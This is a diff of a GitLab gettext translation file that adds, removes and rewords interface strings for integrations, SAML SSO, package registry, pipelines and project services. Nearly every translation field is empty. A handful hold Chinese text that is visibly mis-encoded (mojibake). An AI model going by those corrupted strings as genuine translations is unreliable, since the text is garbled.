+msgid "GitLab will periodically run %{link_to_git_fsck} in all project and wiki repositories to look for silent disk corruption issues."
+msgstr ""
+
msgid "GitLab will run a background job that will produce pseudonymized CSVs of the GitLab database that will be uploaded to your configured object storage directory."
msgstr ""
@@ -13972,6 +14373,24 @@ msgstr ""
msgid "Gitea Import"
msgstr ""
+msgid "GithubIntegration|Create a %{token_link_start}personal access token%{token_link_end} with %{status_html} access granted and paste it here."
+msgstr ""
+
+msgid "GithubIntegration|Obtain statuses for commits and pull requests."
+msgstr ""
+
+msgid "GithubIntegration|Repository URL"
+msgstr ""
+
+msgid "GithubIntegration|Select this if you want GitHub to mark status checks as \"Required\". %{learn_more_link_start}Learn more%{learn_more_link_end}."
+msgstr ""
+
+msgid "GithubIntegration|Static status check names (optional)"
+msgstr ""
+
+msgid "GithubIntegration|This requires mirroring your GitHub repository to this project. %{docs_link}"
+msgstr ""
+
msgid "Gitlab Pages"
msgstr ""
@@ -14014,9 +14433,6 @@ msgstr ""
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
-msgstr ""
-
msgid "Go full screen"
msgstr ""
@@ -14146,16 +14562,13 @@ msgstr ""
msgid "Grafana response contains invalid json"
msgstr ""
-msgid "GrafanaIntegration|API Token"
+msgid "GrafanaIntegration|API token"
msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Embed Grafana charts in GitLab issues."
-msgstr ""
-
-msgid "GrafanaIntegration|Enter the Grafana API Token."
+msgid "GrafanaIntegration|Enter the Grafana API token."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -14167,6 +14580,9 @@ msgstr ""
msgid "GrafanaIntegration|Grafana authentication"
msgstr ""
+msgid "GrafanaIntegration|Set up Grafana authentication to embed Grafana panels in GitLab Flavored Markdown."
+msgstr ""
+
msgid "Grant access"
msgstr ""
@@ -14224,6 +14640,12 @@ msgstr ""
msgid "Group Wikis"
msgstr ""
+msgid "Group application: %{name}"
+msgstr ""
+
+msgid "Group applications"
+msgstr ""
+
msgid "Group avatar"
msgstr ""
@@ -14305,9 +14727,6 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
-msgid "Group push rule exists, try updating"
-msgstr ""
-
msgid "Group requires separate account"
msgstr ""
@@ -14410,9 +14829,15 @@ msgstr ""
msgid "GroupSAML|Are you sure you want to remove the SAML group link?"
msgstr ""
+msgid "GroupSAML|Before enforcing SSO, enable SAML authentication."
+msgstr ""
+
msgid "GroupSAML|Certificate fingerprint"
msgstr ""
+msgid "GroupSAML|Check SSO on git activity"
+msgstr ""
+
msgid "GroupSAML|Configuration"
msgstr ""
@@ -14428,7 +14853,10 @@ msgstr ""
msgid "GroupSAML|Enable SAML authentication for this group."
msgstr ""
-msgid "GroupSAML|Enforce SSO-only authentication for this group."
+msgid "GroupSAML|Enforce SSO-access for Git in this group."
+msgstr ""
+
+msgid "GroupSAML|Enforce SSO-only authentication for web activity for this group."
msgstr ""
msgid "GroupSAML|Enforce users to have dedicated group managed accounts for this group."
@@ -14524,9 +14952,6 @@ msgstr ""
msgid "GroupSAML|This will be set as the access level of users added to the group."
msgstr ""
-msgid "GroupSAML|To be able to enable enforced SSO, you first need to enable SAML authentication."
-msgstr ""
-
msgid "GroupSAML|To be able to enable group managed accounts, you first need to enable enforced SSO."
msgstr ""
@@ -14722,9 +15147,6 @@ msgstr ""
msgid "Groups to synchronize"
msgstr ""
-msgid "Groups with access to %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "GroupsDropdown|Frequently visited"
msgstr ""
@@ -14860,9 +15282,6 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Have your users email"
-msgstr ""
-
msgid "Header logo was successfully removed."
msgstr ""
@@ -15039,6 +15458,9 @@ msgstr ""
msgid "How do I configure runners?"
msgstr ""
+msgid "How do I configure this integration?"
+msgstr ""
+
msgid "How do I generate it?"
msgstr ""
@@ -15207,6 +15629,12 @@ msgstr ""
msgid "If you did not recently sign in, you should immediately change your password: %{password_link}."
msgstr ""
+msgid "If you got a lot of false alarms from repository checks you can choose to clear all repository check information from the database."
+msgstr ""
+
+msgid "If you keep automatic housekeeping disabled for a long time Git repository access on your GitLab server will become slower and your repositories will use more disk space. We recommend to always leave this enabled."
+msgstr ""
+
msgid "If you lose your recovery codes you can generate new ones, invalidating all previous codes."
msgstr ""
@@ -15365,9 +15793,6 @@ msgstr ""
msgid "Import/Export Rate Limits"
msgstr ""
-msgid "Import/Export illustration"
-msgstr ""
-
msgid "ImportButtons|Connect repositories from"
msgstr ""
@@ -15414,12 +15839,15 @@ msgid "Importing %d repository"
msgid_plural "Importing %d repositories"
msgstr[0] ""
-msgid "Improve Merge Requests and customer support with GitLab Enterprise Edition."
+msgid "Importing..."
msgstr ""
msgid "Improve customer support with Service Desk"
msgstr ""
+msgid "Improve merge requests and customer support with GitLab Enterprise Edition."
+msgstr ""
+
msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
@@ -15429,9 +15857,6 @@ msgstr ""
msgid "In case of pull mirroring, your user will be the author of all events in the activity feed that are the result of an update, like new branches being created or new commits being pushed to existing branches."
msgstr ""
-msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
-msgstr ""
-
msgid "In progress"
msgstr ""
@@ -16017,6 +16442,9 @@ msgstr ""
msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
msgstr ""
+msgid "Infrastructure Registry"
+msgstr ""
+
msgid "Inherited"
msgstr ""
@@ -16186,6 +16614,9 @@ msgstr ""
msgid "Integrations|Linked namespaces"
msgstr ""
+msgid "Integrations|Namespace successfully linked"
+msgstr ""
+
msgid "Integrations|Namespaces are your GitLab groups and subgroups that will be linked to this Jira instance."
msgstr ""
@@ -16231,9 +16662,6 @@ msgstr ""
msgid "Integrations|This integration, and inheriting projects were reset."
msgstr ""
-msgid "Integrations|This requires mirroring your GitHub repository to this project. %{docs_link}"
-msgstr ""
-
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -16258,6 +16686,9 @@ msgstr ""
msgid "Integrations|You must have owner or maintainer permissions to link namespaces."
msgstr ""
+msgid "Integrations|You should now see GitLab.com activity inside your Jira Cloud issues. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -16294,9 +16725,6 @@ msgstr ""
msgid "Invalid Insights config file detected"
msgstr ""
-msgid "Invalid Login or password"
-msgstr ""
-
msgid "Invalid OS"
msgstr ""
@@ -16492,7 +16920,7 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|GitLab member or Email address"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -16501,7 +16929,7 @@ msgstr ""
msgid "InviteMembersModal|Invite a group"
msgstr ""
-msgid "InviteMembersModal|Invite team members"
+msgid "InviteMembersModal|Invite members"
msgstr ""
msgid "InviteMembersModal|Members were successfully added"
@@ -16510,25 +16938,25 @@ msgstr ""
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Select a group to invite"
msgstr ""
-msgid "InviteMembersModal|Select a group to invite"
+msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} group"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} project"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} group"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} project"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
msgid "InviteMembers|Invite a group"
@@ -16543,6 +16971,9 @@ msgstr ""
msgid "InviteMember|Don't worry, you can always invite teammates later"
msgstr ""
+msgid "InviteMember|Invite Member"
+msgstr ""
+
msgid "InviteMember|Invite Members (optional)"
msgstr ""
@@ -16705,6 +17136,9 @@ msgstr ""
msgid "Issue title"
msgstr ""
+msgid "Issue types"
+msgstr ""
+
msgid "Issue update failed"
msgstr ""
@@ -16714,6 +17148,9 @@ msgstr ""
msgid "Issue weight"
msgstr ""
+msgid "Issue(s) already assigned"
+msgstr ""
+
msgid "IssueAnalytics|Age"
msgstr ""
@@ -16801,6 +17238,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues must match this scope to appear in this list."
+msgstr ""
+
msgid "Issues with comments, merge requests with diffs and comments, labels, milestones, snippets, and other project entities"
msgstr ""
@@ -16864,6 +17304,9 @@ msgstr ""
msgid "It's you"
msgstr ""
+msgid "Italic text"
+msgstr ""
+
msgid "Iteration"
msgstr ""
@@ -16951,6 +17394,9 @@ msgstr ""
msgid "JiraService|An error occurred while fetching issue list"
msgstr ""
+msgid "JiraService|Automatically transitions Jira issues to the \"Done\" category. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -16963,9 +17409,18 @@ msgstr ""
msgid "JiraService|Enable Jira issues creation from vulnerabilities"
msgstr ""
+msgid "JiraService|Enable Jira transitions"
+msgstr ""
+
+msgid "JiraService|Enter new password or API token"
+msgstr ""
+
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -17005,7 +17460,10 @@ msgstr ""
msgid "JiraService|Jira project key"
msgstr ""
-msgid "JiraService|Jira workflow transition IDs"
+msgid "JiraService|Leave blank to use your current password or API token"
+msgstr ""
+
+msgid "JiraService|Move to Done"
msgstr ""
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
@@ -17026,7 +17484,7 @@ msgstr ""
msgid "JiraService|Select issue type"
msgstr ""
-msgid "JiraService|Set transition IDs for Jira workflow transitions. %{link_start}Learn more%{link_end}"
+msgid "JiraService|Set a custom final state by using transition IDs. %{linkStart}Learn about transition IDs%{linkEnd}"
msgstr ""
msgid "JiraService|Sign in to GitLab.com to get started."
@@ -17038,12 +17496,18 @@ msgstr ""
msgid "JiraService|This issue is synchronized with Jira"
msgstr ""
+msgid "JiraService|Transition Jira issues to their final state:"
+msgstr ""
+
msgid "JiraService|Use a password for server version and an API token for cloud version"
msgstr ""
msgid "JiraService|Use a username for server version and an email for cloud version"
msgstr ""
+msgid "JiraService|Use custom transitions"
+msgstr ""
+
msgid "JiraService|Username or Email"
msgstr ""
@@ -17260,15 +17724,6 @@ msgstr ""
msgid "KeyboardKey|Ctrl+"
msgstr ""
-msgid "KeyboardShortcuts|Global Shortcuts"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle GitLab Next"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle the Performance Bar"
-msgstr ""
-
msgid "Keys"
msgstr ""
@@ -17359,6 +17814,9 @@ msgstr ""
msgid "Label lists show all issues with the selected label."
msgstr ""
+msgid "Label priority"
+msgstr ""
+
msgid "Label was created"
msgstr ""
@@ -17561,6 +18019,9 @@ msgstr ""
msgid "Learn more"
msgstr ""
+msgid "Learn more about %{link_start_tag}Jaeger configuration%{link_end_tag}."
+msgstr ""
+
msgid "Learn more about %{username}"
msgstr ""
@@ -17952,6 +18413,9 @@ msgstr ""
msgid "Link copied"
msgstr ""
+msgid "Link text"
+msgstr ""
+
msgid "Link title"
msgstr ""
@@ -18021,6 +18485,9 @@ msgstr ""
msgid "Loading"
msgstr ""
+msgid "Loading %{name}"
+msgstr ""
+
msgid "Loading contribution stats for group members"
msgstr ""
@@ -18195,6 +18662,9 @@ msgstr "管ç†æ‰€æœ‰é€šçŸ¥"
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
+msgid "Manage applications that can use GitLab as an OAuth provider."
+msgstr ""
+
msgid "Manage applications that you've authorized to use your account."
msgstr ""
@@ -18234,6 +18704,9 @@ msgstr ""
msgid "Manifest import"
msgstr ""
+msgid "Manual"
+msgstr ""
+
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -18258,9 +18731,6 @@ msgstr ""
msgid "Mark as ready"
msgstr ""
-msgid "Mark as resolved"
-msgstr ""
-
msgid "Mark this issue as a duplicate of another issue"
msgstr ""
@@ -18336,6 +18806,9 @@ msgstr ""
msgid "MattermostService|Add to Mattermost"
msgstr ""
+msgid "MattermostService|After you configure the integration, view your new Mattermost commands by entering"
+msgstr ""
+
msgid "MattermostService|Command trigger word"
msgstr ""
@@ -18354,13 +18827,10 @@ msgstr ""
msgid "MattermostService|Response username"
msgstr ""
-msgid "MattermostService|See list of available commands in Mattermost after setting up this service, by entering"
-msgstr ""
-
msgid "MattermostService|Suggestions:"
msgstr ""
-msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
+msgid "MattermostService|Use this service to perform common tasks in your project by entering slash commands in Mattermost."
msgstr ""
msgid "Max 100,000 events"
@@ -18435,6 +18905,9 @@ msgstr ""
msgid "Maximum capacity"
msgstr ""
+msgid "Maximum character limit - %{limit}"
+msgstr ""
+
msgid "Maximum concurrency of Elasticsearch bulk requests per indexing operation."
msgstr ""
@@ -18537,9 +19010,6 @@ msgstr ""
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
-msgid "Members invited to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Members listed as CODEOWNERS of affected files."
msgstr ""
@@ -18549,9 +19019,6 @@ msgstr ""
msgid "Members of %{group} can also push to this branch: %{branch}"
msgstr ""
-msgid "Members of %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "Members of a group may only view projects they have permission to access"
msgstr ""
@@ -18684,9 +19151,6 @@ msgstr "åˆä½µè«‹æ±‚"
msgid "Merge Request Analytics"
msgstr ""
-msgid "Merge Request Approvals"
-msgstr ""
-
msgid "Merge Request Commits"
msgstr ""
@@ -18744,9 +19208,6 @@ msgstr ""
msgid "Merge request approvals"
msgstr ""
-msgid "Merge request approvals allow you to set the number of necessary approvals and predefine a list of approvers that will need to approve every merge request in a project."
-msgstr ""
-
msgid "Merge request dependencies"
msgstr ""
@@ -19307,6 +19768,9 @@ msgid "Milestone"
msgid_plural "Milestones"
msgstr[0] ""
+msgid "Milestone due date"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr "ç›®å‰è¨±å¯è­‰ç„¡æ³•ä½¿ç”¨é‡Œç¨‹ç¢‘列表"
@@ -19499,6 +19963,12 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Miscellaneous"
+msgstr ""
+
+msgid "Missing"
+msgstr ""
+
msgid "Missing OAuth configuration for GitHub."
msgstr ""
@@ -19562,6 +20032,9 @@ msgstr ""
msgid "More Information"
msgstr ""
+msgid "More Information."
+msgstr ""
+
msgid "More Slack commands"
msgstr ""
@@ -19697,6 +20170,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can't be blank"
+msgstr ""
+
msgid "Name has already been taken"
msgstr ""
@@ -20011,6 +20487,15 @@ msgstr ""
msgid "NetworkPolicies|ports/protocols"
msgstr ""
+msgid "NetworkPolicy|Policy"
+msgstr ""
+
+msgid "NetworkPolicy|Search by policy name"
+msgstr ""
+
+msgid "NetworkPolicy|Status"
+msgstr ""
+
msgid "Never"
msgstr ""
@@ -20057,9 +20542,6 @@ msgstr ""
msgid "New Label"
msgstr ""
-msgid "New Merge Request"
-msgstr ""
-
msgid "New Milestone"
msgstr "新建里程碑"
@@ -20225,6 +20707,9 @@ msgstr ""
msgid "Next commit"
msgstr ""
+msgid "Next design"
+msgstr ""
+
msgid "Next file in diff"
msgstr ""
@@ -20270,6 +20755,9 @@ msgstr ""
msgid "No authentication methods configured."
msgstr ""
+msgid "No available branches"
+msgstr ""
+
msgid "No available groups to fork the project."
msgstr ""
@@ -20336,7 +20824,7 @@ msgstr ""
msgid "No estimate or time spent"
msgstr "沒有é ä¼°æˆ–花費時間"
-msgid "No file chosen"
+msgid "No file chosen."
msgstr ""
msgid "No file hooks found."
@@ -20387,6 +20875,9 @@ msgstr ""
msgid "No matches found"
msgstr ""
+msgid "No matching issue found. Make sure that you are adding a valid issue URL."
+msgstr ""
+
msgid "No matching labels"
msgstr ""
@@ -20474,6 +20965,9 @@ msgstr ""
msgid "No start date"
msgstr ""
+msgid "No tag selected"
+msgstr ""
+
msgid "No template"
msgstr ""
@@ -20645,6 +21139,22 @@ msgstr ""
msgid "Notification settings saved"
msgstr ""
+msgid "NotificationEmail|Assignee"
+msgid_plural "NotificationEmail|Assignees"
+msgstr[0] ""
+
+msgid "NotificationEmail|Assignee: %{users}"
+msgid_plural "NotificationEmail|Assignees: %{users}"
+msgstr[0] ""
+
+msgid "NotificationEmail|Reviewer"
+msgid_plural "NotificationEmail|Reviewers"
+msgstr[0] ""
+
+msgid "NotificationEmail|Reviewer: %{users}"
+msgid_plural "NotificationEmail|Reviewers: %{users}"
+msgstr[0] ""
+
msgid "NotificationEvent|Change reviewer merge request"
msgstr ""
@@ -20759,6 +21269,15 @@ msgstr ""
msgid "Number of Elasticsearch shards"
msgstr ""
+msgid "Number of Git pushes after which 'git gc' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which a full 'git repack' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which an incremental 'git repack' is run."
+msgstr ""
+
msgid "Number of LOCs per commit"
msgstr ""
@@ -20891,10 +21410,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule"
-msgstr ""
-
-msgid "OnCallSchedules|On-call schedule for the %{timezone}"
+msgid "OnCallSchedules|On-call schedules"
msgstr ""
msgid "OnCallSchedules|Please note, rotations with shifts that are less than four hours are currently not supported in the weekly view."
@@ -20984,9 +21500,6 @@ msgstr ""
msgid "OnDemandScans|Manage DAST scans"
msgstr ""
-msgid "OnDemandScans|Manage profiles"
-msgstr ""
-
msgid "OnDemandScans|Manage scanner profiles"
msgstr ""
@@ -21011,9 +21524,6 @@ msgstr ""
msgid "OnDemandScans|On-demand scans run outside the DevOps cycle and find vulnerabilities in your projects. %{learnMoreLinkStart}Learn more%{learnMoreLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Run scan"
-msgstr ""
-
msgid "OnDemandScans|Save and run scan"
msgstr ""
@@ -21044,6 +21554,9 @@ msgstr ""
msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
msgstr ""
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgstr ""
+
msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
msgstr ""
@@ -21129,12 +21642,6 @@ msgstr ""
msgid "Open"
msgstr ""
-msgid "Open API"
-msgstr ""
-
-msgid "Open API specification file path"
-msgstr ""
-
msgid "Open Selection"
msgstr ""
@@ -21153,9 +21660,6 @@ msgstr ""
msgid "Open in your IDE"
msgstr ""
-msgid "Open issues"
-msgstr ""
-
msgid "Open raw"
msgstr "打開原文件"
@@ -21168,10 +21672,13 @@ msgstr ""
msgid "Open: %{open}"
msgstr ""
-msgid "Opened"
+msgid "OpenAPI"
+msgstr ""
+
+msgid "OpenAPI specification file path"
msgstr ""
-msgid "Opened %{epicTimeagoDate}"
+msgid "Opened"
msgstr ""
msgid "Opened MRs"
@@ -21186,6 +21693,9 @@ msgstr "開始於"
msgid "Opens in a new window"
msgstr ""
+msgid "Operation completed"
+msgstr ""
+
msgid "Operation failed. Check pod logs for %{pod_name} for more details."
msgstr ""
@@ -21237,6 +21747,9 @@ msgstr "æ“作"
msgid "Or you can choose one of the suggested colors below"
msgstr ""
+msgid "Order jobs by"
+msgstr ""
+
msgid "Orphaned member"
msgstr ""
@@ -21345,12 +21858,18 @@ msgstr ""
msgid "PackageRegistry|Add Conan Remote"
msgstr ""
+msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
msgid "PackageRegistry|Add composer registry"
msgstr ""
+msgid "PackageRegistry|Allow duplicates"
+msgstr ""
+
msgid "PackageRegistry|An error occurred while saving the settings"
msgstr ""
@@ -21381,6 +21900,9 @@ msgstr ""
msgid "PackageRegistry|Copy Conan Setup Command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -21399,6 +21921,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -21450,6 +21975,9 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -21474,9 +22002,6 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
-msgid "PackageRegistry|Maven XML"
-msgstr ""
-
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -21513,15 +22038,42 @@ msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
+msgid "PackageRegistry|Registry setup"
+msgstr ""
+
msgid "PackageRegistry|Remove package"
msgstr ""
+msgid "PackageRegistry|RubyGems"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
msgid "PackageRegistry|Settings saved successfully"
msgstr ""
+msgid "PackageRegistry|Show Composer commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Conan commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Gradle Groovy DSL commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Maven commands"
+msgstr ""
+
+msgid "PackageRegistry|Show NPM commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Nuget commands"
+msgstr ""
+
+msgid "PackageRegistry|Show PyPi commands"
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -21573,27 +22125,6 @@ msgstr ""
msgid "PackageRegistry|yarn command"
msgstr ""
-msgid "PackageType|Composer"
-msgstr ""
-
-msgid "PackageType|Conan"
-msgstr ""
-
-msgid "PackageType|Generic"
-msgstr ""
-
-msgid "PackageType|Maven"
-msgstr ""
-
-msgid "PackageType|NuGet"
-msgstr ""
-
-msgid "PackageType|PyPI"
-msgstr ""
-
-msgid "PackageType|npm"
-msgstr ""
-
msgid "Packages"
msgstr ""
@@ -21831,10 +22362,19 @@ msgstr ""
msgid "PerformanceBar|SQL queries"
msgstr ""
+msgid "PerformanceBar|Sort by duration"
+msgstr ""
+
+msgid "PerformanceBar|Sort chronologically"
+msgstr ""
+
msgid "PerformanceBar|Stats"
msgstr ""
-msgid "PerformanceBar|trace"
+msgid "PerformanceBar|Total duration"
+msgstr ""
+
+msgid "PerformanceBar|Trace"
msgstr ""
msgid "Permissions"
@@ -21915,7 +22455,7 @@ msgstr ""
msgid "PipelineCharts|An unknown error occurred while processing CI/CD analytics."
msgstr ""
-msgid "PipelineCharts|CI / CD Analytics"
+msgid "PipelineCharts|CI/CD Analytics"
msgstr ""
msgid "PipelineCharts|Failed:"
@@ -22164,9 +22704,6 @@ msgstr ""
msgid "Pipeline|Could not retrieve the pipeline status. For troubleshooting steps, read the %{linkStart}documentation%{linkEnd}."
msgstr ""
-msgid "Pipeline|Coverage"
-msgstr ""
-
msgid "Pipeline|Created"
msgstr ""
@@ -22185,6 +22722,9 @@ msgstr ""
msgid "Pipeline|Failed"
msgstr ""
+msgid "Pipeline|In progress"
+msgstr ""
+
msgid "Pipeline|Key"
msgstr ""
@@ -22260,6 +22800,18 @@ msgstr ""
msgid "Pipeline|Tag name"
msgstr ""
+msgid "Pipeline|Test coverage"
+msgstr ""
+
+msgid "Pipeline|This change will decrease the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will increase the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will not change the overall test coverage if merged."
+msgstr ""
+
msgid "Pipeline|Trigger author"
msgstr ""
@@ -22329,9 +22881,6 @@ msgstr ""
msgid "Please add a comment in the text area above"
msgstr ""
-msgid "Please add a list to your board first"
-msgstr ""
-
msgid "Please check the configuration file for this chart"
msgstr ""
@@ -22482,10 +23031,10 @@ msgstr ""
msgid "Please solve the captcha"
msgstr ""
-msgid "Please solve the reCAPTCHA"
+msgid "Please try again"
msgstr ""
-msgid "Please try again"
+msgid "Please try and refresh the page. If the problem persists please contact support."
msgstr ""
msgid "Please type %{phrase_code} to proceed or close this modal to cancel."
@@ -22521,6 +23070,18 @@ msgstr ""
msgid "Point to any links you like: documentation, built binaries, or other related materials. These can be internal or external links from your GitLab instance. Duplicate URLs are not allowed."
msgstr ""
+msgid "Policy project doesn't exist"
+msgstr ""
+
+msgid "Polling interval multiplier"
+msgstr ""
+
+msgid "Popularity"
+msgstr ""
+
+msgid "Postman collection"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -22659,6 +23220,12 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying MR approval rules in merge requests."
+msgstr ""
+
+msgid "Prevent users from modifying MR approval rules in projects and merge requests."
+msgstr ""
+
msgid "Prevent users from modifying MR approval rules."
msgstr ""
@@ -22683,6 +23250,9 @@ msgstr ""
msgid "Previous commit"
msgstr ""
+msgid "Previous design"
+msgstr ""
+
msgid "Previous file in diff"
msgstr ""
@@ -22707,6 +23277,9 @@ msgstr ""
msgid "Prioritized label"
msgstr ""
+msgid "Priority"
+msgstr ""
+
msgid "Private"
msgstr ""
@@ -22965,7 +23538,7 @@ msgstr ""
msgid "Profiles|Main settings"
msgstr ""
-msgid "Profiles|No file chosen"
+msgid "Profiles|No file chosen."
msgstr ""
msgid "Profiles|Notification email"
@@ -23355,6 +23928,9 @@ msgstr ""
msgid "ProjectOverview|You must sign in to star a project"
msgstr ""
+msgid "ProjectPage|Copy project ID"
+msgstr ""
+
msgid "ProjectPage|Project ID: %{project_id}"
msgstr ""
@@ -23370,49 +23946,82 @@ msgstr ""
msgid "ProjectService|%{service_title}: status on"
msgstr ""
-msgid "ProjectService|Event will be triggered by a push to the repository"
+msgid "ProjectService|Drone URL"
+msgstr ""
+
+msgid "ProjectService|Enter new API key"
+msgstr ""
+
+msgid "ProjectService|Enter new password"
+msgstr ""
+
+msgid "ProjectService|Event triggered when a commit is created or updated."
+msgstr ""
+
+msgid "ProjectService|Event triggered when a confidential issue is created, updated, or closed."
+msgstr ""
+
+msgid "ProjectService|Event triggered when a deployment starts or finishes."
msgstr ""
-msgid "ProjectService|Event will be triggered when a commit is created/updated"
+msgid "ProjectService|Event triggered when a merge request is created, updated, or merged."
msgstr ""
-msgid "ProjectService|Event will be triggered when a confidential issue is created/updated/closed"
+msgid "ProjectService|Event triggered when a new tag is pushed to the repository."
msgstr ""
-msgid "ProjectService|Event will be triggered when a deployment starts or finishes"
+msgid "ProjectService|Event triggered when a new, unique alert is recorded."
msgstr ""
-msgid "ProjectService|Event will be triggered when a merge request is created/updated/merged"
+msgid "ProjectService|Event triggered when a pipeline status changes."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new tag is pushed to the repository"
+msgid "ProjectService|Event triggered when a wiki page is created or updated."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new, unique alert is recorded"
+msgid "ProjectService|Event triggered when an issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when a pipeline status changes"
+msgid "ProjectService|Event triggered when someone adds a comment on a confidential issue."
msgstr ""
-msgid "ProjectService|Event will be triggered when a wiki page is created/updated"
+msgid "ProjectService|Event triggered when someone adds a comment."
msgstr ""
-msgid "ProjectService|Event will be triggered when an issue is created/updated/closed"
+msgid "ProjectService|Event triggered when someone pushes to the repository."
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment"
+msgid "ProjectService|Issue URL"
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment on a confidential issue"
+msgid "ProjectService|Jenkins URL"
+msgstr ""
+
+msgid "ProjectService|Leave blank to use your current API key"
+msgstr ""
+
+msgid "ProjectService|Leave blank to use your current password"
+msgstr ""
+
+msgid "ProjectService|Mock service URL"
+msgstr ""
+
+msgid "ProjectService|New issue URL"
msgstr ""
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
-msgid "ProjectService|To set up this service:"
+msgid "ProjectService|TeamCity URL"
msgstr ""
-msgid "ProjectSettings|Additional merge request capabilities that influence how and when merges will be performed"
+msgid "ProjectService|To configure this integration, you should:"
+msgstr ""
+
+msgid "ProjectSettings|%{link_start}What are description templates?%{link_end}"
